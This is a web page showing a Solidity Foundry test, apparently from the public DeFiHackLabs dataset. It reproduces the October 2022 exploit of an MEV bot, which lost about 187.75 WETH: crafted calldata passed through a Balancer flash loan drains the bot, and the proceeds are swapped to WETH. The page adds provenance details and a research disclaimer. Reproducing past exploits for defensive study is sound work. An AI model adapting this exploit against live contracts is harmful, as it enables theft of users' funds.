Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/MEVa47b_exp.sol

Public reproduction file for dataset entry MEVBOTa47b.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/MEVa47b_exp.sol125 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~187.75 WETH
8// Attacker : 0x1dc90b5b7FE74715C2056e5158641c0af7d28865
9// Attack Contract : https://etherscan.io/address/0x4b77c789fa35b54dacb5f6bb2daaa01554299d6c
10// Vulnerable Contract : https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code
11// Attack Tx : https://etherscan.io/tx/0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9c6ceb921c1
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code (unverified)
16// @Analysis
17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1580779311862190080
18// Twitter Ancilia : https://twitter.com/AnciliaInc/status/1580705036400611328
20contract ContractTest is Test {
21 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
22 IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
23 IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
24 address constant MEV_BOT = 0x00000000000A47b1298f18Cf67de547bbE0D723F;
25 address constant EXPLOIT_CONTRACT = 0x4b77c789fa35B54dAcB5F6Bb2dAAa01554299d6C;
26 IUniswapV2Pair constant WETH_USDC_PAIR_SUSHI = IUniswapV2Pair(0x397FF1542f962076d0BFE58eA045FfA2d347ACa0);
27 Uni_Router_V3 constant UNI_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
29 function setUp() public {
30 vm.createSelectFork("mainnet", 15_741_332);
31 // Adding labels to improve stack traces' readability
32 vm.label(address(WETH_TOKEN), "WETH_TOKEN");
33 vm.label(address(USDC_TOKEN), "USDC_TOKEN");
34 vm.label(address(BALANCER_VAULT), "BALANCER_VAULT");
35 vm.label(MEV_BOT, "MEV_BOT");
36 vm.label(EXPLOIT_CONTRACT, "EXPLOIT_CONTRACT");
37 vm.label(address(WETH_USDC_PAIR_SUSHI), "WETH_USDC_PAIR_SUSHI");
38 vm.label(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8, "WETH_USDC_POOL_2");
39 vm.label(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640, "WETH_USDC_POOL_3");
40 vm.label(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc, "WETH_USDC_PAIR_V2");
41 }
43 function testExploit() public {
44 emit log_named_decimal_uint(
45 "\n[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 18
46 );
48 address[] memory tokens = new address[](1);
49 tokens[0] = address(WETH_TOKEN);
50 uint256[] memory amounts = new uint256[](1);
51 amounts[0] = 1;
52 // Not really know how this byte calldata works
53 bytes memory userData = bytes.concat(
54 abi.encode(
55 0x0000000000000000000000000000000000000000000000000000000000000080,
56 0x0000000000000000000000000000000000000000000000000000000000000100,
57 0x0000000000000000000000000000000000000000000000000000000000000280,
58 0x00000000000000000000000000000000000000000000000a2d7f7bb876b5a551,
59 0x0000000000000000000000000000000000000000000000000000000000000003,
60 address(WETH_TOKEN),
61 address(USDC_TOKEN),
62 address(WETH_TOKEN),
63 0x0000000000000000000000000000000000000000000000000000000000000002,
64 0x0000000000000000000000000000000000000000000000000000000000000040,
65 0x00000000000000000000000000000000000000000000000000000000000000c0
66 ),
67 abi.encode(
68 0x0000000000000000000000000000000000000000000000000000000000000060,
69 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2a0b86991c6218b36c1d19d4a,
70 0x2e9eb0ce3606eb48000000000000000000000000000000000000000000000000,
71 0x0000000a707868e3b4dea47088e6a0c2ddd26feeb64f039a2c41296fcb3f5640,
72 0x0000000000000000000000000000000000000000000000000000000000000064,
73 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48c02aaa39b223fe8d0a0e5c4f,
74 0x27ead9083c756cc2000000000000000000000000000000000000000000000000,
75 // original: 0x000000000000003d539801af4b77c789fa35b54dacb5f6bb2daaa01554299d6c,
76 // 3d539801af + address(EXPLOIT_CONTRACT)
77 // PoC: 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496
78 // 3d539801af + address(EXPLOIT_CONTRACT)
79 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496,
80 0x26f2000000000000000000000000000000000000000000000000000000000000,
81 0x0000000000000000000000000000000000000000000000000000000000000002,
82 0x0000000000000000000000000000000000000000000000000000000000000008,
83 0x0000000000000000000000000000000000000000000000000000000000000000
84 )
85 );
86 BALANCER_VAULT.flashLoan(MEV_BOT, tokens, amounts, userData);
88 emit log_named_decimal_uint(
89 "\tAttacker USDC balance during the exploit...", USDC_TOKEN.balanceOf(address(this)), 6
90 );
92 // Exchanging all USDC for WETH
93 USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);
94 _USDCToWETH();
96 emit log_named_decimal_uint(
97 "\n[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 18
98 );
99 }
101 function getReserves() external view returns (uint112, uint112, uint32) {
102 return WETH_USDC_PAIR_SUSHI.getReserves();
103 }
105 function swap(uint256, uint256, address, bytes calldata) external pure {
106 return;
107 }
109 /**
110 * Auxiliary function to swap all USDC to WETH
111 */
112 function _USDCToWETH() internal {
113 Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
114 tokenIn: address(USDC_TOKEN),
115 tokenOut: address(WETH_TOKEN),
116 fee: 500,
117 recipient: address(this),
118 deadline: block.timestamp,
119 amountIn: USDC_TOKEN.balanceOf(address(this)),
120 amountOutMinimum: 0,
121 sqrtPriceLimitX96: 0
122 });
123 UNI_ROUTER.exactInputSingle(_Params);
124 }

Analysis

Dataset entry

Public Foundry test for “MEVBOTa47b” (2022-10-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1dc90b5b7fe74715c2056e5158641c0af7d28865

  • Attack Contract

    0x4b77c789fa35b54dacb5f6bb2daaa01554299d6c

  • Vulnerable Contract

    0x00000000000a47b1298f18cf67de547bbe0d723f

  • Attack Tx

    0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9c6ceb921c1

File record

Name
MEVBOTa47b
Path
src/test/2022-10/MEVa47b_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3203c585d36f0765129bd8b4c080480b54694e03
Language
Solidity
Size
126 lines
Date
2022-10-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/MEVa47b_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3203c585d36f0765129bd8b4c080480b54694e03, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.